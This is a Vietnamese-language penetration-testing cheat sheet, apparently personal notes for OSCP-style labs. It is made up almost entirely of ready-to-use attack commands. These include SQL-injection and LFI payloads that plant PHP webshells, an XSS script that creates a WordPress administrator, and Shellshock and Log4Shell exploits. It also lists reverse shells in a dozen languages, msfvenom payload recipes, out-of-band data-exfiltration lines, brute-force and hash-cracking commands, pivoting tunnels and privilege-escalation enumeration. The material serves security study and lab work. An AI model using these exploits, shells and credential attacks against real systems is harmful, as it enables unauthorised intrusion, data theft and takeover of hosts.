curl http://<ip>:8080/manager/html -u tomc…— default creds thử:msfconsole > use exploit/multi/http/tomcat…— admin:admin · tomcat:s3cret · admin:s3cret · role:role · manager:manager · deploy WAR⚠️ creds trong /tomcat-users.xml nếu đọc được (LFI/traversal)
📚 3. WORDLISTS — cái gì dùng khi nào
| Wordlist (path Kali) | Dùng cho | |
|---|---|---|
/usr/share/wordlists/dirb/common.txt |
web dirs — vòng 1 nhanh | |
/usr/share/wordlists/dirb/big.txt |
web dirs — sâu hơn | |
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt |
web dirs — chuẩn mực đầy đủ | |
/usr/share/seclists/Discovery/Web-Content/raft-large-*.txt |
files+dirs chi tiết | |
/usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt |
nhanh | |
/usr/share/seclists/Discovery/Web-Content/big.txt |
web | |
/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt |
fuzz PARAM (ffuf -fs) | |
/usr/share/seclists/Discovery/Web-Content/api/ |
API endpoints | |
/usr/share/seclists/Discovery/DNS/namelist.txt · subdomains-top1million-5000.txt |
subdomain (ffuf Host) | |
/usr/share/seclists/Discovery/SNMP/snmp.txt |
community strings SNMP | |
/usr/share/seclists/Usernames/Names/male-names.txt (hoặc top-usernames-shortlist) |
user brute | |
/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt |
user brute lớn | |
/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt |
spray nhanh | |
/usr/share/seclists/Passwords/Default-Credentials/default-passwords.csv |
default creds theo service | |
/usr/share/seclists/Passwords/darkweb2017-top10000.txt |
passwords thật | |
/usr/share/wordlists/rockyou.txt |
crack toàn bộ loại (gunzip /usr/share/wordlists/rockyou.txt.gz trước!) | |
/usr/share/wordlists/metasploit/unix_passwords.txt |
passwords unix style | |
hashcat --rule /usr/share/hashcat/rules/best64.rule |
rule mutations | |
| Custom từ chính target | cewl -d 3 -m 5 http://<ip>/ | tee cewl.txt — wordlist từ web content |
Vòng 1: common.txt (nhanh) → vòng 2: directory-list-2.3-medium + ext (-x php,bak,txt) → bí: raft-large + big.txt. Bruteforce user luôn dùng user.txt TỰ BUILD từ mọi nguồn đã enum (exiftool Author, mail, AD description) trước khi xài list chung.
🎯 4. WEB — footprint & attack
4.1 Version fingerprint
curl -s http://<ip>/ | grep -oE "ver=[0-9.]+" | sort -u
curl -s http://<ip>/wp-content/plugins/<name>/readme.txt | grep -i "stable tag"
wpscan --url http://<ip>/ --enumerate p,t,u --plugins-detection passive --api-token ""
searchsploit <cms> <version>
curl -s http://<ip>/ | grep -oE "ver=[0-9.…— asset versions (theme/plugin)
4.2 SQLi
sqlmap -r req.txt --level 3 --risk 3 --random-agent --dbms=mysql --tamper=charencode --dbs
sqlmap -u URL --batch --os-shell
sqlmap -u URL --batch --os-shell— khi bí — nhiều khi vào luôn
Manual theo loại (khi sqlmap chậm/WAF — PEN-200 M4):
-- ERROR-BASED (lỗi SQL in thẳng ra page):
' AND GTID_SUBSET((select @@version),1)-- - -- lỗi chứa giá trị extract
' AND extractvalue(1,concat(0x7e,(select user())))-- -
' AND updatexml(1,concat(0x7e,(select @@version)),1)-- -
-- UNION-BASED (data in ra page): đếm cột → null → số → chèn payload
' ORDER BY 5-- - -- tăng dần tới khi lỗi = số cột
' UNION SELECT null,null,null,null,null-- - -- xác nhận số cột
' UNION SELECT 1,2,3,4,5-- - -- cột nào IN RA page?
' UNION SELECT 1,(select @@version),3,4,5-- - -- chèn vào cột hiển thị
-- BOOLEAN-BASED (chỉ có true/false):
' AND '1'='1 -- true → page bình thường
' AND SUBSTRING(database(),1,1)='a' -- brute từng ký tự
-- TIME-BASED (luôn trả OK — chỉ dựa vào delay):
' AND IF(1=1,SLEEP(3),0)-- -
' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(3),0)-- -
' AND IF(ASCII(SUBSTRING((select user()),1,1))>100,SLEEP(3),0)-- - -- binary search
' UNION SELECT "<?php system($_GET['cmd']);?>",null,null,null,null INTO OUTFILE "/var/www/html/tmp/s.php" -- -
Check quyền qua error-based: ' AND GTID_SUBSET((SELECT File_priv FROM mysql.user WHERE User=substring_index(user(),'@',1)),1)-- -
' UNION SELECT (CASE WHEN (ASCII(SUBSTRING((SELECT user_password FROM users LIMIT o,1),i,1))=n)
THEN SLEEP(4) ELSE 0 END) -- -
- Binary search từng ký tự · SLEEP≥3 · threshold 5 · KHÔNG chạy song song nhiều probe
- WAF filter string >1 ký tự → AND-chain single-char
%2527double-encode khi WAF decode 1 lần — Imperva chỉ decode 2 lần → encode 3 lần (%2525...)- Stacked
;UPDATEchết trên MySQL+PDO — đừng mất thời giờ - Hash không crack được → đọc source tìm CÔNG THỨC: PHP-Fusion 9 =
hash_hmac(sha256, pw, salt)→ hashcat-m 1460
admin'or 1=1--— login bypass form (Werkzeug/Flask lab: TrackPoint) — thử trước khi fuzz- Input ping/lookup nhận
127.0.0.1 | whoami— command injection qua web param, RCE thẳng
4.3 LFI / Traversal / XXE / SSTI
?file=../../../../etc/passwd
?page=file:///etc/passwd
php://filter/convert.base64-encode/resource=config.php
?page=php://filter/resource=admin.php
curl --path-as-is 'http://x/cgi-bin/.%2e/.%2e/.%2e/etc/passwd'
curl 'http://x/cgi-bin/%2e%2e/%2e%2e/%2e%2e/etc/passwd'
?page=data://text/plain,<?php%20echo%20system('ls');?>
?page=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImMiXSk7Pz4=&c=id
?page=http://<kali>/shell.php&cmd=id
?page=../../../../var/log/apache2/access.log
curl -A '<?php echo system($_GET["c"]);?>' http://<target>/
?page=../../../../var/log/apache2/access.log&c=id
<img src=x onerror="require('child_process').execSync('nc <kali> 4444 -e /bin/bash')">
?page=file:///etc/passwd— file:// = đường dẫn TUYỆT ĐỐI?page=php://filter/resource=admin.php— không encode cũng đọc được (chỉ khi ko execute)curl --path-as-is 'http://x/cgi-bin/.%2e/.…— Apache 2.4.49 CVE-2021-41773:curl 'http://x/cgi-bin/%2e%2e/%2e%2e/%2e%2…— URL-encode dots bypass filter?page=data://text/plain,<?php%20echo%20sys…— = LFI → RCE không cần file có sẵn: =?page=http://<kali>/shell.php&cmd=id— RFI (allow_url_include=On)?page=../../../../var/log/apache2/access.l…— = LFI → RCE qua LOG POISONING (đọc được access.log): = · check đọc được trướccurl -A '<?php echo system($_GET["c"]);?>'…— inject payload vào UA (log ghi lại):?page=../../../../var/log/apache2/access.l…— → RCE<img src=x onerror="require('child_process…— paths log khác: /var/log/nginx/access.log · /var/log/auth.log (ssh UA) · /var/log/vsftpd.log · /proc/self/environ (cũ) · = SESSION POISONING (PHP app dùng $SESSION): = · 1) inject vào session var: ?page=home&theme= (param lưu vào session) · 2) include file session: ?page=../../var/lib/php/sessions/sess&c=id · paths: /var/lib/php/sessions/ · /var/lib/php5/sessions/ · /tmp/sess_ · = Upload traversal → ghi file vào chỗ biết: = · upload form có path= → filename "img/shell.php" hoặc traversal trong tên file · → hoặc upload authorized_keys đè ~/.ssh → ssh -i key root@target (đã ăn PEN-200) · = Electron app XSS → RCE (nodeIntegration:true): = ⚠️ asar extract app.asar out/ → đọc config kiểm nodeIntegration/contextIsolation
?page=../../etc/passwd xem user shell /bin/bash hay /bin/sh → payload bash -i >& /dev/tcp/ chỉ sống trên bash. Env là sh → bọc: system('bash -c "bash -i >& /dev/tcp/IP/PORT 0>&1"') hoặc base64:
system(base64_decode('<b64>')) — nhiều badchar vẫn sống.
CMDi whitelist (vd chỉ cho git clone): chain git;id git|id git$(id) gitid`` — test từng dấu.
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }} <!-- Jinja2 -->
# key names theo thuật toán — thử HẾT, đừng chỉ id_rsa:
?file=../../../../home/<user>/.ssh/id_rsa
?file=../../../../home/<user>/.ssh/id_dsa
?file=../../../../home/<user>/.ssh/id_ecdsa # + id_ecdsa_sk
?file=../../../../home/<user>/.ssh/id_ed25519 # + id_ed25519_sk
# tìm user có /home + /bin/bash trong /etc/passwd trước → thử key từng user
# key về: chmod 400 key && ssh -i key <user>@host -p <port>
// 1) lấy nonce từ user-new.php rồi POST tạo user admin:
var x = new XMLHttpRequest();
x.open("GET","/wp-admin/user-new.php",false); x.send();
var nonce = /ser" value="([^"]*?)"/.exec(x.responseText)[1];
var p = "action=createuser&_wpnonce_create-user="+nonce+
"&user_login=hax&email=h@x.com&pass1=Pass123!&pass2=Pass123!&role=administrator";
x.open("POST","/wp-admin/user-new.php",true);
x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
x.send(p);
// 2) payload dài/badchar → minify rồi encode: <script>eval(String.fromCharCode(97,108,...))</script>
// (python: ','.join(str(ord(c)) for c in js_code))
4.4 Upload bypass matrix
| Tình huống | Thử |
|---|---|
| Whitelist ext | .phtml .phar .php5 .pht .php.jpg x.php%00.png .PhP |
| MIME check | Content-Type: image/png + magic bytes GIF89a |
.htaccess upload được |
AddType application/x-httpd-php .xyz rồi upload x.xyz |
| ext-check SAU file-move | filename ..%2f traversal (Bludit CVE-2019-16113) |
disable_functions chặn shell |
chankro (B8): python3 chankro.py --arch 64 --input rev.sh --output shell.php --path /var/www/html/uploads/ |
elFinder finfo chặn <?php |
prefix GIF89a;\n — PHP vẫn exec |
| File-manager put | elFinder put GIF89a + PHP |
4.5 "Admin có PHP" = RCE không cần exploit (prove 4/7 máy)
Thứ tự tìm khi đã admin: Config editor sửa whitelist → Module/theme zip upload .php → Template/panel eval → File manager.
4.6 NoSQLi (Cockpit/MongoLite)
{"$ne":""} / {"$gt":""} vào user/token fields
POST /auth/requestreset → /auth/newpassword # leak _reset_token trong user object
4.7 Auth/session gotchas đã dính
- 2 lớp password (PHP-Fusion):
user_passwordvào site,user_admin_passwordmở lockscreen admin — phải crack cả 2 - CSRF token single-use + per-form + cần Referer (PHP-Fusion/PEEL): GET form → parse token ĐÚNG FORM (token form khác bị reject) → POST ngay
- Honeypot field
fusion_XXXXX=phải gửi rỗng — regex bắt nhầmfusion_tokengây gửi trùng - Password reset không token (PEEL
oubli_mot_passe): submit đủ field kể cảpassword_twice— thiếu field fail im lặng - Login URL đổi do rewrite:
/utilisateurs/membre.php404, login ở root/membre.php - Brute-force lockout bypass: Bludit đọc
X-Forwarded-For(rotation = vô hạn) · Monstra đếm theo cookie client (clear cookie)
4.8 Ngõ cụt web đã tốn thời gian — ĐỪNG LẶP
- Smarty SSTI
{$smarty.version}: PEEL render raw — chết - FCKeditor connector trong
lib/: stub/disabled trên PHP7 — trả rỗng - Open Flash Chart CVE-2009-4140: file lib tồn tại ≠ upload script tồn tại
mail()-f/-Xsendmail injection: validate email chặn trước- Avatar upload EDB-46839 (PHP-Fusion):
setUserAvatar()bị comment trong 9.03.x — dead code import.phpCSV→DB: không ghi file, XXE fail
4.9 Khác đã prove
- Log4Shell: rogue-jndi (JDK8+maven) →
${jndi:ldap://<kali>:1389/o=tomcat}mọi input - Text4Shell CVE-2022-42889 (Java/Commons Text):
${script:javascript:...}RCE (B13) - Spring Boot heapdump:
http://<ip>/actuator;/heapdump→ strings | grep -i password - Konga mass-assign:
POST /auth/signup {"admin":true}→pre-functionLua RCE - JDWP (B13):
jdb -attach ip:8000→stop in java.lang.String.indexOf(...)→print java.lang.Runtime.getRuntime().exec(new java.lang.String("bash#-c#bash -i >& /dev/tcp/kali/3333 0>&1").split("#"))
📦 5. FOOTHOLD THEO DỊCH VỤ — bảng tra nhanh
| Dịch vụ/CMS | Vector | Lệnh/PoC |
|---|---|---|
| WordPress + Social Warfare ≤3.5.2 | CVE-2019-9978 unauth RFI | GET /wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://<host>/p.txt |
| WordPress + plugin cũ | wpscan → EDB | upload RCE/LFI từng plugin |
| Redis 4/5 unauth | module RCE/webshell/ssh-key | mục 2.12 |
| rsyncd writable | ghi authorized_keys/webshell | mục 2.10 |
| vsftpd anonymous+PUT | webshell vào webroot | mục 2.1 |
| ProFTPd 1.3.5 | SITE CPFR/CPTO | copy shell vào webroot |
| Tomcat /manager | WAR deploy | mục 2.16 |
| Apache CGI | Shellshock | User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/<ip>/443 0>&1 |
| Webmin :10000/20000 | RCE cũ / weak pass | B12: cassie:cassie + terminal UI |
| SaltStack | CVE-2020-11651 | 2020-11651.py <ip> master "cmd" |
| GitLab 13.10.2 | CVE-2021-22205 exiftool | crafted image → RCE as git |
| OfBiz / MantisBT / TikiWiki / Dolphin / Codiad / b2evolution / OpenSMTPD / Struts2 / DVR | EDB có sẵn | ~/labOSCP/exploits/ |
| Konga 0.14.9 | mass-assign admin | pre-function Lua RCE |
🐚 6. SHELLS & LISTENERS — toàn tập
for b in python python3 nc ncat socat wget curl perl ruby php lua gcc openssl; do which $b 2>/dev/null; done
# không có python/curl → dùng bash /dev/tcp + base64 copy-paste (mục 10)
# OOB exfil qua collaborator/listener (interactsh, burp collab, requestbin):
wget http://<oob>.com/$(id | base64 -w0) # thấy GET → có RCE, data = id
curl http://<oob>.com/shell?v=$(echo $0 | base64)
nslookup $(whoami).<oob>.com # DNS exfil — qua được FW chặn HTTP
# time-based phân biệt shell:
[ -n "$BASH_VERSION" ] && sleep 5 # bash/sh delay
[ -n "$ZSH_VERSION" ] && sleep 5 # zsh delay
ping -c 5 127.0.0.1 > nul # nul fail trên Linux → biết là Windows
# Windows detect: iwr http://<oob>/?v=$PSVersionTable.PSVersion
6.1 Listener
nc -lvnp 4444
rlwrap nc -lvnp 4444
socat TCP-LISTEN:4444,reuseaddr,fork -
nc -lvnp 4444— chuẩnrlwrap nc -lvnp 4444— có history mũi tênsocat TCP-LISTEN:4444,reuseaddr,fork -— multi-connection⚠️ pwncat-cs (nâng cao): pwncat -lp 4444
6.2 Reverse shell mọi ngôn ngữ
BASH:
bash -i >& /dev/tcp/<ip>/<port> 0>&1
bash -c "bash -i >& /dev/tcp/<ip>/<port> 0>&1"
exec 5<>/dev/tcp/<ip>/<port>;cat <&5 | while read line;do $line 2>&5 >&5;done
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ip> <port> >/tmp/f
nc -e /bin/sh <ip> <port>
rm -f /tmp/p; mkfifo /tmp/p; cat /tmp/p | /bin/sh 2>&1 | nc <ip> <port> > /tmp/p
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip>",<port>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])'
python -c 'import socket,subprocess,os,pty;s=socket.socket();s.connect(("<ip>",<port>));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/bash")'
perl -e 'use Socket;$i="<ip>";$p=<port>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
php -r '$sock=fsockopen("<ip>",<port>);exec("/bin/sh -i <&3 >&3 2>&3");'
<?php system($_GET['c']); ?>
<?php echo shell_exec($_REQUEST['c']); ?>
ruby -rsocket -e'f=TCPSocket.open("<ip>",<port>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
awk 'BEGIN{s="/inet/tcp/0/<ip>/<port>";while(1){do{printf"$ ">s|&getline c;if(c){while((c|&getline)>0)print $0|&s;close(c)}}}}'
socat TCP:<ip>:<port> EXEC:"bash -li",pty,stderr,setsid,sigint,sane
socat TCP-LISTEN:<port>,reuseaddr FILE:`tty`,raw,echo=0
r = Runtime.getRuntime();p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<ip>/<port>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]);
lua -e "require('socket');require('os');t=socket.tcp();t:connect('<ip>','<port>');os.execute('/bin/sh -i <&3 >&3 2>&3')"
xterm -display <ip>:1
exec 5<>/dev/tcp/<ip>/<port>;cat <&5 | whi…— không cần bash featurerm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh…— mkfifo (an toàn nhất)nc -e /bin/sh <ip> <port>— NC (có -e):rm -f /tmp/p; mkfifo /tmp/p; cat /tmp/p | …— NC (KHÔNG có -e — OpenBSD):python3 -c 'import socket,subprocess,os;s=…— PYTHON:perl -e 'use Socket;$i="<ip>";$p=<port>;so…— PERL:php -r '$sock=fsockopen("<ip>",<port>);exe…— PHP:<?php system($_GET['c']); ?>— webshell GET-onlyruby -rsocket -e'f=TCPSocket.open("<ip>",<…— RUBY:awk 'BEGIN{s="/inet/tcp/0/<ip>/<port>";whi…— AWK (khi box cực tối giản):socat TCP:<ip>:<port> EXEC:"bash -li",pty,…— SOCAT (full TTY luôn): · trên targetsocat TCP-LISTEN:<port>,reuseaddr FILE:'tt…— listener dịu dàng:r = Runtime.getRuntime();p = r.exec(["/bin…— JAVA (JSP app):lua -e "require('socket');require('os');t=…— LUA:xterm -display <ip>:1— XTERM (X có trên kali): · Kali: xhost +target
6.3 Base64 + filter bypass variants
chuỗi bị filter (đổi code) → base64:
echo '<shell-payload>' | base64 -w0
echo <b64> | base64 -d | bash
bash -c {echo,<b64-không-padding>}|{base64,-d}|{bash,-i}
python3 -c "import urllib.parse;print(urllib.parse.quote(open('payload.sh').read()))"
echo '<shell-payload>' | base64 -w0— encode trên kaliecho <b64> | base64 -d | bash— chạy trên target (dạng đơn)bash -c {echo,<b64-không-padding>}|{base64…— brace-expansion (qua WAF tốt)python3 -c "import urllib.parse;print(urll…— URL-encode toàn bộ khi qua GET param:⚠️ hex: echo 7368... | xxd -r -p | bash ⚠️ qua git/svn bỏ trong comment .gitignore ⚠️ curl pipe: curl http://kali/s.sh | bash (kali: python3 -m http.server)
6.4 msfvenom — bảng payload
| Format | Lệnh |
|---|---|
| Linux ELF | msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=<pass> -f elf -o s.elf |
| Windows EXE | msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT= -f exe -o s.exe |
| Windows DLL | -f dll (rundll32) |
| PHP | msfvenom -p php/reverse_php LHOST= LPORT= -o s.php |
| JSP | -p java/jsp_shell_reverse_tcp -f raw -o s.jsp |
| WAR (Tomcat) | -p java/shell_reverse_tcp -f war -o s.war |
| ASPX | -p windows/x64/shell_reverse_tcp -f aspx -o s.aspx |
| Python | -p cmd/unix/reverse_python -f raw |
| Bash | -p cmd/unix/reverse_bash -f raw |
| MSI (AlwaysInstallElevated) | msfvenom -p windows/x64/shell_reverse_tcp -f msi -o x.msi |
| HTA | -f hta-psh |
| PowerShell | -p windows/x64/powershell_reverse_tcp -f psh -o s.ps1 |
| Python meterpreter | msfvenom -p python/meterpreter/reverse_tcp |
6.4b msfconsole handler + meterpreter
kali (handler hứng msfvenom shell):
msfconsole -q -x "use exploit/multi/handler; set payload linux/x64/shell_reverse_tcp; set LHOST <ip>; set LPORT 4444; run"
> sysinfo · getuid · getpid
> upload local.exe C:\\target.exe · download C:\\loot.txt /tmp/
> hashdump · getsystem · migrate <pid> · shell
> incognito → impersonate → revert
> run post/multi/recon/local_exploit_suggester
> run post/linux/gather/enum_configs · post/windows/gather/credentials
> sysinfo · getuid · getpid— (payload phải KHỚP với -p trong msfvenom!) · meterpreter commands hay dùng:> run post/multi/recon/local_exploit_sugge…— gợi ý LPE
| Phím | Tác dụng |
|---|---|
Ctrl+Z |
Ẩn session về nền (background — hỏi y/n) — quay lại bằng sessions -i <id> |
Ctrl+J |
Ngắt dòng / tương đương Enter trong 1 số tty |
Ctrl+C |
Kill session hiện tại (abort) — cẩn thận mất shell |
Ctrl+L |
Clear màn hình |
Ctrl+R |
Reverse-search lịch sử lệnh msf |
Tab / Tab Tab |
Autocomplete module path / liệt kê options |
Ctrl+U |
Xóa nguyên dòng đang gõ · Ctrl+K xóa từ con trỏ tới cuối |
background |
Lệnh tương đương Ctrl+Z (trong meterpreter) |
sessions -l · -i N · -k N · -K |
List · vào · kill 1 · kill ALL |
jobs / kill N |
Xem/kill handler chạy nền (exploit -j) |
# chạy handler nền + auto migrate:
run -j # exploit -j = job
set AutoRunScript post/windows/manage/migrate
set AutoRunScript "multi_console_command -r /tmp/cmds.rc"
6.5 TTY upgrade + restricted shell
Bước 1 — spawn PTY trên target (thử theo thứ tự, cái nào có dùng cái đó):
python3 -c 'import pty;pty.spawn("/bin/bash")'
python2 -c 'import pty;pty.spawn("/bin/sh")'
script -qc /bin/bash /dev/null
php -r 'proc_open("/bin/bash", array(0=>array("pty"),1=>array("pty"),2=>array("pty")), $pipes);'
expect -c 'spawn /bin/bash; interact'
perl -e 'exec "/bin/sh";'
exec /bin/bash -i
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<kali>:<port>
python3 -c 'import pty;pty.spawn("/bin/bas…— phổ biến nhấtpython2 -c 'import pty;pty.spawn("/bin/sh"…— nếu chỉ có python2script -qc /bin/bash /dev/null— util-linux — gần như luôn có!php -r 'proc_open("/bin/bash", array(0=>ar…— PHP ≥5.3, cái hay bị quênexpect -c 'spawn /bin/bash; interact'— nếu có expectperl -e 'exec "/bin/sh";'— không phải pty thật nhưng đỡ hơn dumb shellexec /bin/bash -i— bash -i cũng hơi ổn hơn sh trầnsocat exec:'bash -li',pty,stderr,setsid,si…— FULL TTY 1 phát (xem §7)
Bước 2 — fix terminal phía Kali (để dùng được su, sudo -l, vi, Ctrl+C, tab-complete):
trên target: Ctrl+Z về kali, rồi gõ tiếp (kali):
stty raw -echo; fg
reset
export TERM=xterm-256color SHELL=/bin/bash
stty rows 40 cols 120
reset— (enter 1 phát nếu thấy lặng) — quay lại target, gõ:stty rows 40 cols 120— hoặcstty -atrên kali xem size thật
ssh user@host -t "bash --noprofile"
BASH_CMDS[a]=/bin/sh; export PATH=/usr/bin:/bin:$PATH
echo os.system('/bin/bash') # qua python
less → gõ: !sh # (B8)
vi → :!sh · awk 'BEGIN{system("/bin/sh")}'
🕳️ 7. TUNNELS & PIVOT
SSH (nếu có creds/ssh trên pivot)
ssh -L 8080:<target>:80 user@<pivot>
ssh -R 9001:localhost:9001 user@<kali>
ssh -D 1080 user@<pivot>
ssh -D <kali-ip>:1080 user@<pivot>
ssh -J user@<jump> user@<target2>
sshuttle -r user@<pivot> 10.11.0.0/16
sshuttle -r user@<pivot> 10.12.1.5 10.12.2.0/24
./chisel server -p 8000 --reverse
./chisel client <kali>:8000 R:socks
./chisel client <kali>:8000 R:445:10.11.40.3:445
./chisel client <kali>:8000 R:3389:DC02:3389
sudo ip tuntap add user root mode tun ligolo ; sudo ip link set ligolo up
sudo ligolo-proxy -selfcert -laddr 0.0.0.0:11601
./agent -connect <kali>:11601 -ignore-cert
» session
» start
sudo ip route add 10.10.2.0/24 dev ligolo
ip route show | grep ligolo
ip route add 240.0.0.1/32 dev ligolo
» listener_add --addr 0.0.0.0:8000 --to 127.0.0.1:4444 --tcp
» listener_add --addr 0.0.0.0:8001 --to 127.0.0.1:11601 --tcp
sudo ip tuntap add user root mode tun ligolo2 ; sudo ip link set ligolo2 up
sudo ip route add 10.10.3.0/24 dev ligolo2
socat TCP-LISTEN:8080,fork TCP:<target>:80
socat TCP:<pivot>:22 TCP-LISTEN:2222
python3 fwd.py
proxychains nmap -sT -Pn <target>
proxychains curl http://<target>/
ssh -L 8080:<target>:80 user@<pivot>— LOCAL: kali:8080 → target:80 qua pivotssh -R 9001:localhost:9001 user@<kali>— REMOTE: kali:9001 → pivot:9001 (từ pivot ra)ssh -D 1080 user@<pivot>— DYNAMIC SOCKS5 → proxychainsssh -D <kali-ip>:1080 user@<pivot>— bind IP cụ thể (share SOCKS cho box khác)ssh -J user@<jump> user@<target2>— jump qua nhiều hopsshuttle -r user@<pivot> 10.11.0.0/16— Windows OpenSSH: y hệt (ssh.exe có sẵn Win10+) · = SSHUTTLE (tự route cả subnet — không cần cấu hình) = · cả dải qua pivot như VPN./chisel server -p 8000 --reverse— = CHISEL (binary 1 file — đã dùng thật FW-AMS-01) = · Kali (server):./chisel client <kali>:8000 R:socks— Target (client): · SOCKS5 về kali:1080./chisel client <kali>:8000 R:445:10.11.40…— kali:445 → target-net 445 (relay!)sudo ip tuntap add user root mode tun ligo…— = LIGOLO-NG (chuẩn mới cho pivot — nhanh, ổn định, nhiều hop) = · KALI — tạo interface + proxy:./agent -connect <kali>:11601 -ignore-cert— PIVOT1 (đã root/có shell) — agent connect về:» session— trong console proxy: chọn agent → start, rồi add route dải mạng sau pivot: · chọn agentsudo ip route add 10.10.2.0/24 dev ligolo— dải mạng nội bộ của pivot1ip route show | grep ligolo— checkip route add 240.0.0.1/32 dev ligolo— truy cập localhost CỦA pivot1» listener_add --addr 0.0.0.0:8000 --to 12…— REVERSE listener (target sau pivot shell về kali — quan trọng, xem gotcha dưới): · pivot:8000 → kali:4444» listener_add --addr 0.0.0.0:8001 --to 12…— DOUBLE pivot (pivot2 chỉ thấy qua pivot1): · pivot1:8001 → kali:11601sudo ip tuntap add user root mode tun ligo…— trên pivot2: ./agent -connect:8001 -ignore-cert · rồi tạo tun thứ 2 + route dải thứ 3: socat TCP-LISTEN:8080,fork TCP:<target>:80— Windows pivot: chỉ đổi binary agent → agent.exe -connect <kali>:11601 -ignore-cert · quản lý/dọn dẹp: » listener_list · listener_stop · session→stop · ip route deldev ligolo · ip link set ligolo down && ip tuntap del mode tun ligolo · = SOCAT (forward đơn giản) = · kali forward socat TCP:<pivot>:22 TCP-LISTEN:2222— daisy-chainpython3 fwd.py— encrypted: socat OPENSSL-LISTEN:443,cert=server.pem,verify=0 - · = PYTHON proxy (đã dùng erp01:445→kali:8445) = · listen 0.0.0.0:445 → 127.0.0.1:8445 (cần root bind 445)proxychains nmap -sT -Pn <target>— = PROXYCHAINS (kết hợp SOCKS) = · /etc/proxychains.conf: socks5 127.0.0.1 1080 · (nmap phải -sT)⚠️ = WINDOWS tunnels = xem 02-WINDOWS 🪟#🕳️ 4. TUNNELS & PIVOT WINDOWS (plink/netsh/portproxy)
Lab host KHÔNG route về IP VPN client (10.8.0.x / 172.16.2.1). Listener phải nằm trong lab-net (chisel reverse / box đã root), không bind trên Kali qua VPN trực tiếp.
🔑 8. PASSWORD ATTACKS
exiftool *.pdf | grep Author # username list (B12)
strings *.pdf | grep -i pass # SMB share files
snmpbulkwalk ... | grep -i pass # B7
cat ~/.bash_history # luôn cat
ls *.kdbx .env note.txt config.php.bak # file-config để quét
# AD description fields (Windows) — nguyên văn plaintext!
Crack chuẩn theo loại hash:
| Hash | Tool |
|---|---|
| Keepass .kdbx (B9) | keepass2john x.kdbx > h → hashcat -m 13400 h rockyou / john + kpcli --kdb=x.kdbx · hoặc keepass4brute.sh x.kdbx rockyou.txt (brute trực tiếp, không cần extract — repo r3nt0n/keepass4brute) |
| Firefox saved logins | logins.json + key4.db copy về kali → python3 firepwd.py -d <profile-dir>/ (decrypt offline) |
| Chrome saved logins | Login Data + Local State → decrypt AES-GCM (cần master key từ DPAPI) |
| zip/rar/7z | zip2john / rar2john → john |
$apr1$ Apache md5 |
hashcat -m 1600 |
phpass $P$ |
hashcat -m 400 |
bcrypt $2a$ |
john --format=bcrypt / hashcat -m 3200 (GPU) |
sha512crypt $6$ (Linux shadow) |
john --format=sha512crypt --rules=best64 |
md5crypt $1$ |
hashcat -m 500 |
| NTLM | hashcat -m 1000 |
| krb5tgs RC4 | john --format=krb5tgs / hashcat -m 13100 |
| NetNTLMv2 | hashcat -m 5600 |
| DCC2 | john --format=mscash2 |
Brute theo service:
hydra -L users.txt -P rockyou.txt ssh://<ip> -t 4 -V
hydra -L u -P p ftp://<ip> · smb://<ip> · http-get /admin
medusa -H hosts.txt -U u.txt -P p.txt -M ssh
medusa -H hosts.txt -U u.txt -P p.txt -M s…— nhiều host⚠️ lockout bypass: Bludit XFF-rotation · Monstra cookie-rotation ⚠️ spray: for p in Season2021! Winter2020!; do nxc smb <ip> -u u.txt -p "$p"; done
⬆️ 9. PRIVESC — trái tim của mọi lab
id; uname -a; cat /etc/os-release # quyền + kernel + distro
sudo -n -l 2>&1 # 1) sudo
find / -perm -4000 -type f 2>/dev/null # 2) SUID (lọc file LẠ)
getcap -r / 2>/dev/null # 3) capabilities
cat /etc/crontab; ls -la /etc/cron.d/ /etc/cron.*/; crontab -l 2>/dev/null # 4) cron
# mở rộng:
ss -tlnp 2>/dev/null # service local ẩn (rsyncd/mysql/redis!)
ps aux | grep -i root # process root chạy gì
./pspy64 -pf -i 1000 # process monitor KHÔNG cần root — bắt cron ẩn/creds trong cmdline
find / -writable -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null | head -50
ls -la /opt /srv /home/*/ /var/backups/ 2>/dev/null
grep -rnI "password" /etc/ 2>/dev/null | head
find / -mmin -5 -type f 2>/dev/null | grep -vE "^/proc|^/sys|^/run" # file đổi 5' (B12)
cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers.d/
history; cat ~/.bash_history ~/.mysql_history 2>/dev/null
env | grep -iE "pass|token|key"
mount | grep -iE "nfs|cifs|overlay" # mounts lạ
ls -la /var/run/docker.sock 2>/dev/null # docker socket
# PHẦN MỀM ĐÃ CÀI → tìm local exploit theo version:
dpkg -l 2>/dev/null | grep ^ii | awk '{print $2,$3}' | head -50 # Debian/Ubuntu
rpm -qa 2>/dev/null | sort -u | head -50 # RHEL/CentOS
ls -d /opt/* /usr/local/* /srv/* 2>/dev/null # app tự cài (NẰM NGOÀI pkg manager — hay là vector!)
